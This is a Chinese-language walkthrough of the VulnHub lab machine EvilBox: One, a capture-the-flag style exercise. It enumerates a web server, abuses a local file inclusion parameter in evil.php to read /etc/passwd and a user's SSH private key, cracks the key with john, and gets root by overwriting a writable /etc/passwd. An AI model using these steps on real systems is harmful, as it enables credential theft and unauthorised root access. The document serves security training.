靶机介绍
虚拟机链接:EvilBox: One ~ VulnHub
参考博客:EvilBox Writeup - Vulnhub - Walkthrough - Security
开始练习
本机ip:192.168.56.102
虚拟机ip:192.168.56.125
netdiscover查找ip
ediscover -r 192.168.56.0/24
nmap扫描开放端口及服务
nmap -A 192.168.56.125
访问80端口并使用dirsearch扫描目录
gobuster dir -r -u http://192.168.56.125/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -o dir.log
逐个访问,没有发现有用信息,继续递归扫描可以secret文件夹,发现 evil.php文件
访问依旧没有收获,于是参考博客,使用fuzz枚举GET参数,于是在evil上找到了command参数,可以用于LFI,测试/etc/passwd,成功访问文件
ffuf -c -r -u 'http://192.168.56.125/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0
192.168.56.125/secret/evil.php?command = /etc/passwd
发现有mowree用户,尝试其他命令,无效,似乎只能访问文件,在mowree用户目录下有ssh公钥,尝试创建私钥登录ssh
192.168.56.125/secret/evil.php?command=/home/mowree/.ssh/id_rsa
将私钥复制到本地,更改权限,尝试破解密码
cat >id_rsa
chmod 600 id_rsa
我们必须破解密码的hash值。因此,我们需要一个名为 ssh2john.py 的工具来生成hash值
ssh2john.py链接:https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py
./ssh2john.py id_rsa | tee hash
之后使用john爆破出用户mowree的ssh密码
john hash --wordlist=rockyou.txt
成功获得密码,接下来使用公钥登录方式登录ssh
ssh 192.168.56.125 -i id_rsa -l mowree
根据提示,再次检查/etc/passwd文件,发现文件可写,使用openssh直接生成root的密码覆盖文件
openssl passwd -1
#输入想设定的密码
将生成的值覆盖之前/etc/passwd中root后的”x"(x的意思是密码保存在/etc/shadow中,修改该值,则可以将密码修改为输入的hash值,这里的截图值和上图中不一样是因为重新生成了其他密码
#先复制/etc/passwwd中内容
cat >/etc/passwd << b
b #输入b直接结束,实现清空
#修改x为生成的hash值,其余不变再写入/etc/passwd
cat >/etc/passwd <<end
#粘贴在这里,输入end结束
end
成功使用修改后的root密码登录,拿到FLAG
su -l root